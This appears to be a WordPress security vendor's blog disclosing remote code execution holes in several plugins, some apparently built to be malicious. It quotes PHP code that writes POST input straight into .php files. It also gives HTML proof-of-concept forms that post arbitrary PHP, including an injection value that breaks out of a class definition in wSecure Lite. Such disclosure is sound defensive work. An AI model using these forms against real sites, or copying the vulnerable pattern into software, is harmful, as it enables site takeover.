03 Mar

Vulnerability Details: Remote Code Execution (RCE) Vulnerability in Opti SEO

Back in October we discussed our spotting a probe for usage of a group of intentionally malicious plugins that someone had created several years ago and last month we discussed another plugin that looks to be from the set of plugins. We recently have been seeing a lot of requests probing for usage of those plugins, though usually probing for only one of them instead of large group of them. We also recently had a request for yet another plugin that looks to be part of that set, Opti SEO, which like the others contains a remote code execution (RCE) vulnerability.

In the /install.php the contents of the POST input “newins” is placed in the file /installed.php, which due to its .php extension will allow PHP code placed in the file to be executed when requested:

2
3
4
5
6
7
8
9
session_start();
$opseoinstall = $_POST['newins'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/option-seo/installed.php', 'w');
$opseoinstall = str_replace('\\', '', $opseoinstall);
$opseoinstall = htmlentities($opseoinstall);
fwrite($fp, html_entity_decode($opseoinstall));
fclose($fp);
echo $opseoinstall;

As with other plugins where we see exploitation attempts we are adding this vulnerability to the free data that comes with our service’s companion plugin, so you can check if you are using any of this set of plugins by simply installing that plugin.

Proof of Concept

The following proof of concept will place the specified PHP code in to the file installed.php in the directory /wp-content/plugins/option-seo/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/option-seo/install.php" method="POST">
<input type="hidden" name="newins" value="[PHP code]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
27 Jan

Vulnerability Details: Remote Code Execution (RCE) Vulnerability in Google Maps by Daniel Martyn

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/google-maps-by-daniel-martyn/js/gmbdm.js, from the plugin Google Maps by Daniel Martyn. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

In looking over the plugin for what hacker might be interested in it we quickly found a remote code execution vulnerability in it. The file /inuse.php contains the following code:

2
$inuse = $_POST['checkinuse']; $infile = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/google-maps-by-daniel-martyn/version.php', 'w'); $inuse = str_replace('\\', '', $inuse); $inuse = htmlentities($inuse); fwrite($infile, html_entity_decode($inuse)); fclose($infile); echo $inuse;

That code will take the value of the POST input “checkinuse” and save it to a file named version.php in the plugin’s directory. Through that, malicious code can be loaded in to a file with a  .php extension, which would allow the code to execute.

Proof of Concept

The following proof of concept will place the specified PHP code in to the file version.php in the directory /wp-content/plugins/google-maps-by-daniel-martyn/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/google-maps-by-daniel-martyn/inuse.php" method="POST">
<input type="hidden" name="checkinuse" value="[PHP code]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
24 Oct

A Good Example of Why WordPress Keeping Quiet About Unfixed Plugin Vulnerabilities Doesn’t Make Sense

We think that WordPress does a pretty good job when it comes to security, but there is a glaring problem we have run across, the handling of unfixed vulnerabilities in WordPress plugins. When a vulnerability in a plugin is reported to the Plugin Directory, unless it is very minor, the plugin is pulled pending a fix. That prevents anyone who isn’t already using the plugin from installing it and making themselves vulnerable, but for everyone that already has it installed they will remain vulnerable until the vulnerability is fixed. A lot of times that happens fairly quickly after the plugin is removed, but in other cases it takes a long time or never happens. For that reason we first suggested that websites that have removed plugins installed should alert over four and half years ago. At the time we proposed this on the Ideas section of wordpress.org and shortly there after it was indicated this was being worked on. By earlier this year it was indicated that they cannot provide this, not for some technical reason, but because “IF an exploit exists and we publicize that fact without a patch, we put you MORE at risk.”. We previously discussed that this really doesn’t make sense and we just ran in to another example that we think provides further evidence why this is bad stance.

Part of the explanation for their thinking that this would put websites at more risk is this:

That’s exactly the issue. If we make it known there is an exploit, the hackers attack everyone :/

If we don’t tell anyone, then hackers who DO know will attack, but they would have anyway.

But as what we found while looking into a set of vulnerable plugins, other malicious actors can find out about vulnerabilities and then try to exploit them even without them doing that.

One of the ways we keep track of vulnerabilities in WordPress plugins is to monitor third-party data on hacking attempts. Through that we recently ran across a probe in August of last year for usage of a series of 14 plugins through request for the following files (the name of the plugin it is part of is in parenthesis):

  • /wp-content/plugins/return-to-top/wds-files/js/admin.js (Return to top)
  • /wp-content/plugins/page-google-maps/js/vihv-google-maps.js (Page Google Map)
  • /wp-content/plugins/gallery-slider/assets/js/jquery.gallery.js (Gallery Slider)
  • /wp-content/plugins/g-translate/jquery.js (G Translate)
  • /wp-content/plugins/share-buttons-wp/css/style.css (Share Buttons WP)
  • /wp-content/plugins/mailchimp-integration/readme.txt (MailChimp Integration)
  • /wp-content/plugins/smart-videos/js/video.js (Smart Videos)
  • /wp-content/plugins/seo-rotator-for-images/js/wp-seo-admin-global.js (SEO Rotator For Images)
  • /wp-content/plugins/ads-widget/readme.txt (Ads widget)
  • /wp-content/plugins/seo-keyword-page/js/pager.js (SEO Keyword Page)
  • /wp-content/plugins/wp-handy-lightbox/jquery.touchwipe.min.js (Handy Lightbox)
  • /wp-content/plugins/wp-popup/wppopupincludes/js/wppopup.js (WP Popup)
  • /wp-content/plugins/google-analytics-analyze/google-analytics.js (Google Analytics Analyze)
  • /wp-content/plugins/cookie-eu/readme.txt (Cookie Eu)

In taking a look at the first plugin Return to top, we found that it was no longer in the Plugin Directory and we couldn’t find any indication that a vulnerability in the plugin had been disclosed. Then while trying to figure out what hacker might be looking to exploit in this, we quickly noticed the file call.php, which contained the following code:

2
3
4
5
6
7
8
9
10
session_start();
$installtheplugin = $_POST['installplugin'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/return-to-top/install.php', 'w');
$installtheplugin = str_replace('\\', '', $installtheplugin);
$installtheplugin = htmlentities($installtheplugin);
fwrite($fp, html_entity_decode($installtheplugin));
fclose($fp);
echo $installtheplugin;
unlink($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/return-to-top/call.html');

That code would take a user specified value and write it in to the file /wp-content/plugins/return-to-top/install.php. Since that file has a .php extension that would permit running PHP code, which is a remote code execution vulnerability. The code didn’t really look like it had a legitimate purpose, possibly indicating that the code was intentionally malicious.

The second plugin listed, Page Google Map, created by a different account had nearly the same code in a file name pr.php:

2
3
4
5
6
7
8
9
session_start();
$installtheplugin = $_POST['checkpr'];
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/page-google-maps/prcheck.php', 'w');
$installtheplugin = str_replace('\\', '', $installtheplugin);
$installtheplugin = htmlentities($installtheplugin);
fwrite($fp, html_entity_decode($installtheplugin));
fclose($fp);
echo $installtheplugin;

Going through some more of the plugins, we found that the developers were also different but the same code existed. We then went looking to see if we could find any reference to the code, to look if there was a possibility that the developers had all gotten the code from the same source and not understood the security issue in it.

We could only find one reference to it and that a post from January of 2014 discussing security issues in one of the plugins, Handy Lightbox. In addition to the remote code execution issue, the plugin also was “e-mailing the developer to confirm plugin activation and reporting site url.” and emailing if it was deactivated. From that we found another post that pointed to what the malicious code had been used for:

 It would log the IP of the admins. When you went to the site, it would check to see if you where an admin with your ip, then if you where not it would add a spam link on all pages.

From the comments in the first post it sounds like the Handy Lightbox was removed from the Plugin Directory in February of 2014.

Based on on all off that looks like is that you had someone that had created multiple intentionally malicious plugins (the legitimate parts of the plugins was copied from an existing plugin). Since the original person behind this was being emailed what websites the plugins were activated on they would have not needed to probe for usage of the plugins, as we saw happening. So it would seem that someone else became aware of not only of the Handy Lightbox plugin, but the other plugins that had been created and was trying to exploit them (we looked to see if several others had been been publicly disclosed as containing this code, but couldn’t find any evidence of that).

Seeing as the developer of the plugins had malicious intentions, they wouldn’t have released new versions of the plugins that fixed the vulnerabilities, so unless the Plugin Directory stepped in and did that, then the plugins would never be fixed. In that case the only way to protect the websites would be for the plugins to be removed, but since webmasters are being kept in the dark they wouldn’t know to do that. Not surprisingly a quick search showed that there are in fact website that still have these plugins installed. The probing for existence of the plugins indicates that not notifying people that they were vulnerable did not stop other malicious actors from finding out about of these vulnerabilities.

An easy way to check if you have any of these plugins installed on websites you manage is to install our Plugin Vulnerabilities plugin. For plugins that we see exploitation attempts against we include data on the related vulnerabilities with the plugin, so even if you are not yet using the service you get warned about these vulnerabilities. Since these plugins are being targeted, as can be seen by the probing, we are adding the remote code execution vulnerability in them to the data alongside releasing this post.

12 Jul

Remote Code Execution (RCE) Vulnerability in wSecure Lite

We recently disclosed a minor, but very obvious, vulnerability in a WordPress plugin for logging user activity. What we found kind of stunning about this was that the developer of the plugin was a WordPress security company that claimed to “specialize” in doing security reviews of plugins. We later got an email from someone at the company who seemed to be surprised that we would have a negative view of the security industry. We have hard time believing that someone who actually cares about security and sees what is going on would not have such a view, considering how bad things are. We recently found another reminder of that from a security plugin with an incredibly serious vulnerability.

wSecure Lite is a plugin that makes it so that visiting the normal URLs to login to the WordPress admin area does not work and instead you have to visit a special URL to login (as the name suggest there is also a paid version of the plugin). That isn’t something that really provides you much protection, as the only thing the average website needs to do in regards to login security is use a strong password. In this case though using this plugin opened you up to a remote code execution (RCE) vulnerability, which would allow a hacker to do just about anything on a website.

One of the ways we try to make sure we provide our customers with the best data of vulnerabilities in WordPress plugins is by monitoring them for hacking attempts. Starting in May this caused us to begin finding very exploitable vulnerabilities in the current version of numerous plugins. As the vulnerability began to pile up we got interested in seeing we could find additional data on what plugins hackers were interested in to see if we could improve our ability to catch this type of issue. That lead us to finding such a request for a file in wSecure lite, /wp-content/plugins/wsecure/wsecure-config.php, back in February.

Looking at that file it took hardly any time to spot a very serious issue. The file handles generating the plugin’s setting page, so it should only be accessible to Administrator lever users, but it can be accessed directly (inexplicable it is also accessible by Contributor level and above users in the admin area as well). That access allows anyone to change the plugin’s settings, meaning it would be easy for someone to disable the security provided by the plugin, but more importantly it also allows writing arbitrary code to a .php file through this piece of the code:

27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
if($_POST['wsecure_action']=="update")
  	{
	include(dirname(__FILE__).'/params.php');
  $WSecureConfig = new WSecureConfig();
		$newkey = $_POST["key"]=="" ? $WSecureConfig->key : md5(base64_encode($_POST["key"])) ;
		$string = '<!--?php class WSecureConfig { var $publish = "'. $_POST["publish"]. '"; var $passkeytype = "'. $_POST["passkeytype"] . '"; var $key = "'. $newkey . '"; var $options = "'. $_POST["options"]. '"; var $custom_path = "'. $_POST["custom_path"]. '"; } ?-->';
		if (is_writable(dirname(__FILE__).'/params.php'))
		{
			$fp = fopen(dirname(__FILE__).'/params.php', "w+");
			fwrite($fp, $string);
			fclose($fp);
			wp_redirect(get_site_url()."/wp-admin/options-general.php?page=wsecure-configuration&w_action=save&opt=config");
 
		}
 
 	}

Using that an attacker can place malicious code in the file /wp-content/plugins/wsecure/params.php and then run it by requesting that file.

Proof of Concept

The following proof of concept will cause the file /wp-content/plugins/wsecure/params.php to display the message “Hello, world.”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/wsecure/wsecure-config.php" method="POST">
<input type="hidden" name="wsecure_action" value="update" />
<input type="hidden" name="publish" value='";} echo "Hello, world."; class WSecureConfig2 {var $test="' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 7/5/2016 – Developer notified.
  • 7/12/2016 – WordPress.org Plugin Directory notified.
  • 8/2/2016 – Version 2.4 released, which fixes vulnerability